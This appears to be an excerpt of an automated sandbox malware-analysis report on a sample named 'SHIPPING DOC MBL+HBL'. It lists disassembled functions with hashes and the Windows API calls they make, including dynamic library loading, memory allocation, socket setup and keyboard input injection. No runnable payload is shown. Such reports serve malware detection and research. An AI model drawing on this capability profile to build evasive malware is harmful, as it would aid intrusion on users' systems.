Opcode Fuzzy Hash: 43b4a42395fa2e8a2ab742b69e1663055abd08757b6c3a07ea8f51207e21c208
Instruction Fuzzy Hash: 4F215475601219AACF54EF64CC82E9E77A4FF44700F406498F449B7281DB30AE85DBA1

Function 00E87740 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00E877A4
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00E877B9
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00E877C6

Strings

msctls_trackbar32, xrefs: 00E8777B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: a5628f23483bb95c8d96dcc3e36f67409858d8f131701ccf79814cb6d67adb9d
Instruction ID: b1f96abd13c18b5560b2cb0ae781c93ed6c8879105c71cd171ad0caae584d745
Opcode Fuzzy Hash: a5628f23483bb95c8d96dcc3e36f67409858d8f131701ccf79814cb6d67adb9d
Instruction Fuzzy Hash: CD11E732254208BEEF106F61CC45FE77BA9EF89719F111119F749B60D0D672E851DB20

Function 00E26CEE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00E26D10
__calloc_crt.LIBCMT ref: 00E26D29

Strings

@B, xrefs: 00E26D40
, xrefs: 00E26D4E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __calloc_crt
String ID: $@B
API String ID: 3494438863-460053111
Opcode ID: a695052cfcee43a73b4ed655683e813a3551ab8644fe1d1e71bf457754bc7822
Instruction ID: 554b3c266c2bd5da96d3c7e7e1bbee137f5bb4c0fa0fdc07102ede7ecfc0da5d
Opcode Fuzzy Hash: a695052cfcee43a73b4ed655683e813a3551ab8644fe1d1e71bf457754bc7822
Instruction Fuzzy Hash: 2CF0C872305626CEF728AF26BD11BB167E4E741324B101937E504FE1E0E77598C24680

Function 00E04C95 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E04C2E), ref: 00E04CA3
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00E04CB5

Strings

GetNativeSystemInfo, xrefs: 00E04CAF
kernel32.dll, xrefs: 00E04C9E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: b8e616ddfd09f029ecfb5673ce8c16b0d4d21e6b73e51776172a8e16b672cc2e
Instruction ID: 9f187594e21f36147ce9c0dc429cd281e0fdd93e9c3bf85270bdeb93eb4953cb
Opcode Fuzzy Hash: b8e616ddfd09f029ecfb5673ce8c16b0d4d21e6b73e51776172a8e16b672cc2e
Instruction Fuzzy Hash: 88D012B0511723CFE7205F31DA58646B6D5AF05755F219839D88DF6190D670D4C0C750

Function 00E04D94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E04CE1,?), ref: 00E04DA2
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00E04DB4

Strings

Wow64RevertWow64FsRedirection, xrefs: 00E04DAE
kernel32.dll, xrefs: 00E04D9D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 3a3db06ae6c8aeda799638ed1a63048571799a413fabde8e668a5480a6209246
Instruction ID: 357d11a3a319922a2a7519453374a0fe44e8389c6b4cdebf16828de950de0b52
Opcode Fuzzy Hash: 3a3db06ae6c8aeda799638ed1a63048571799a413fabde8e668a5480a6209246
Instruction Fuzzy Hash: FDD017B1651713CFD7209F32D908A9676E5AF05759B11983AD8CAF61A0E770D8C0CBA0

Function 00E04D61 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E04D2E,?,00E04F4F,?,00EC52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00E04D6F
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00E04D81

Strings

Wow64DisableWow64FsRedirection, xrefs: 00E04D7B
kernel32.dll, xrefs: 00E04D6A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: c19f84948b6954d21604e7c0c07d44295dfa3d228e99a3e33ae89cb06b154665
Instruction ID: 20b297652015321db4b5b2898fa56982636de72624ec28d6a8f0dde9e6de4e59
Opcode Fuzzy Hash: c19f84948b6954d21604e7c0c07d44295dfa3d228e99a3e33ae89cb06b154665
Instruction Fuzzy Hash: 73D017B1611713CFD7209F72D90865676E8AF15756B11983ED48AF62A0E670D8C0CB60

Function 00E80E72 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00E810C1), ref: 00E80E80
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00E80E92

Strings

RegDeleteKeyExW, xrefs: 00E80E8C
advapi32.dll, xrefs: 00E80E7B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 3907188c4773105fe5ac1217bddda2e45a0743fad517e65869fe7a244546f8bc
Instruction ID: bf01d40b0a2fd2fd5850b2f0ea18a17b116efbcc16fa1823573a19f3fcf312af
Opcode Fuzzy Hash: 3907188c4773105fe5ac1217bddda2e45a0743fad517e65869fe7a244546f8bc
Instruction Fuzzy Hash: 8CD01770591723CFDB30AF36C9086C776E4AF04756B11AC3AE58EF6151E670C884CB60

Function 00E791F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00E78E09,?,00E8F910), ref: 00E79203
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00E79215

Strings

GetModuleHandleExW, xrefs: 00E7920F
kernel32.dll, xrefs: 00E791FE

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 7e893cc85d111e025cbd1c9d2476cb8dc6a0371b15b8695108188008e0edb80b
Instruction ID: b1badfecb929000ea02d92c7d79692d3bbe4e159455bd3f97c40627b73fac077
Opcode Fuzzy Hash: 7e893cc85d111e025cbd1c9d2476cb8dc6a0371b15b8695108188008e0edb80b
Instruction Fuzzy Hash: F5D0C230690313EFC7206F31DD0820272D5AF00351B00D839D88DF2162D670C480C710

Function 00E574A5 Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7607238fb0b8473d4e49a5bde810d915f933c1583b6bb72b1664d10b6345c646
Instruction ID: b29d5da0cbd53a504a57be40a50e522e5dc6eaba1977028fad86c566a8a0868d
Opcode Fuzzy Hash: 7607238fb0b8473d4e49a5bde810d915f933c1583b6bb72b1664d10b6345c646
Instruction Fuzzy Hash: 4EC18F74A04216EFCB14CFA8D884DAEB7B5FF48705B105999EC45EB250D730ED95CB90

Function 00E7E13E Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00E7E1D2
CharLowerBuffW.USER32(?,?), ref: 00E7E215

Part of subcall function 00E7D8B9: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00E7D8D9

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00E7E415
_memmove.LIBCMT ref: 00E7E428

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: d1a538efc6a8b5f978d51f0e219664d0e2a22f0e7a5c1a8fdc897729c5a7f762
Instruction ID: cdd3b415cfae9f7c67f81848641b10af932a2683a72138b2e42f63caa4a69cbf
Opcode Fuzzy Hash: d1a538efc6a8b5f978d51f0e219664d0e2a22f0e7a5c1a8fdc897729c5a7f762
Instruction Fuzzy Hash: F2C14B716083119FC704DF28C48196ABBE4FF89718F14996EF899AB392D731E945CF82

Function 00E781A8 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00E781D8
CoUninitialize.OLE32 ref: 00E781E3

Part of subcall function 00E5D87B: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00E5D8E3

VariantInit.OLEAUT32(?), ref: 00E781EE
VariantClear.OLEAUT32(?), ref: 00E784BF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: ae2598a06488ffc5a4c8319809fb68ba3afdd0c2904beb49fddf327eb1e129d8
Instruction ID: dd11c6e270238fc60d0f535366c5beb4d1cce92e2be36cfa8b9c87b0b1d69e5a
Opcode Fuzzy Hash: ae2598a06488ffc5a4c8319809fb68ba3afdd0c2904beb49fddf327eb1e129d8
Instruction Fuzzy Hash: 46A16A756447019FDB10DF58C989B6AB7E4BF98724F04944CF99AAB3A2CB30ED44CB42

Function 00E56BD3 Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E56BE4
SysAllocString.OLEAUT32(00000000), ref: 00E56C8D
VariantCopy.OLEAUT32 ref: 00E56CBC
VariantClear.OLEAUT32(?), ref: 00E56CE3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: bd939a1e06addee710ebabb785e41ccc90967352e3b14fc7fc770db03351eb88
Instruction ID: 99cd8777fccaaafa0b53552bf5dcf91f174b76390545ae77e154079616986d50
Opcode Fuzzy Hash: bd939a1e06addee710ebabb785e41ccc90967352e3b14fc7fc770db03351eb88
Instruction Fuzzy Hash: B351A6307443029BDB20AF65D495A69F3F5EF44315F60AC2FE996FB2A1DA7098888711

Function 00E89826 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00FCE200,?), ref: 00E89895
ScreenToClient.USER32(00000002,00000002), ref: 00E898C8
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00E89935

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 66c598728f059cbfdeb5cf1dd2d0736a015c3396de9d935c02680acd00f5e027
Instruction ID: 16bd0d1ac88f357f19451b34501878ac0c228b920bcf46ec061276c2f53a5937
Opcode Fuzzy Hash: 66c598728f059cbfdeb5cf1dd2d0736a015c3396de9d935c02680acd00f5e027
Instruction Fuzzy Hash: EC511C35A00209AFCF14EF54D980ABE7BB5EF85324F149169F85DAB2A1D731AD81CB90

Function 00E76AC0 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00E76AE7
WSAGetLastError.WSOCK32(00000000), ref: 00E76AF7

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00E76B5B
WSAGetLastError.WSOCK32(00000000), ref: 00E76B67

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: d7ec7d00ea74ed3903f0d9e6e3c612750df8cf83b6f2c42b32d6b32d2f974fce
Instruction ID: a599346a401085015ba8006d078e2da29c893d4fe538c2d251bcf3247028a736
Opcode Fuzzy Hash: d7ec7d00ea74ed3903f0d9e6e3c612750df8cf83b6f2c42b32d6b32d2f974fce
Instruction Fuzzy Hash: C741B035740600AFEB24AF28DC86F3A77E9AF44B14F449418FA59BB2D3DA709C418B91

Function 00E76530 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00E8F910), ref: 00E765BD
_strlen.LIBCMT ref: 00E765EF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: ff07ff712d6206e0c8d92f59e4ddaeab84d0a921bf9cd2145ea393942bbb5928
Instruction ID: 16671a40a983808790dc5f23a75e84451a1eccd5d6f63cb9a798dd2d71cb9542
Opcode Fuzzy Hash: ff07ff712d6206e0c8d92f59e4ddaeab84d0a921bf9cd2145ea393942bbb5928
Instruction Fuzzy Hash: B941D331A00504AFCB14EBA4EDD5EAEB3E9EF44314F549155F819BB2D2DB30AD44CB51

Function 00E6B880 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00E6B92A
GetLastError.KERNEL32(?,00000000), ref: 00E6B950
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00E6B975
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00E6B9A1

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 088bef4657493450c21b7bce75156f02f9495de7870a43628e19588addae3e79
Instruction ID: 891cdb7cec19d7af7036bef4096e8e1ed9651c0c5397cb923fb50b92cf6892b2
Opcode Fuzzy Hash: 088bef4657493450c21b7bce75156f02f9495de7870a43628e19588addae3e79
Instruction Fuzzy Hash: 69412839600610DFCB10EF59D484A59BBF1EF89314B099098E94AAB7A3CB30FD80CB91

Function 00E88883 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E88910

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 81b09688cd49f0e3753d9ab50f59e49b3083a96265cad798055c3f6be632683c
Instruction ID: f58abd2b88bab324ec6e9a346852b8a6fc6fb0a8fe8205c3938b9ed4e65708eb
Opcode Fuzzy Hash: 81b09688cd49f0e3753d9ab50f59e49b3083a96265cad798055c3f6be632683c
Instruction Fuzzy Hash: E731E334640108BFEF24AE58CE49BB837A5EB85314FD06126FE5DF62E0CE31A9809742

Function 00E8AB69 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00E8AB92
GetWindowRect.USER32(?,?), ref: 00E8AC08
PtInRect.USER32(?,?,00E8C07E), ref: 00E8AC18
MessageBeep.USER32(00000000), ref: 00E8AC89

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: ba6831bad3eef864172a88b1f61fc48a5c4f5ecd18af3b025f7adc07df6c4b51
Instruction ID: 98abf6983174126790755e2474b1df353606008db3da5e660dfe752e3d9b29ec
Opcode Fuzzy Hash: ba6831bad3eef864172a88b1f61fc48a5c4f5ecd18af3b025f7adc07df6c4b51
Instruction Fuzzy Hash: 75418D71600114DFEB15EF59C884EA9BBF5FB48314F1891BAE41CAB261D731A845CB92

Function 00E60E07 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00E60E58
SetKeyboardState.USER32(00000080,?,00000001), ref: 00E60E74
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00E60EDA
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00E60F2C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
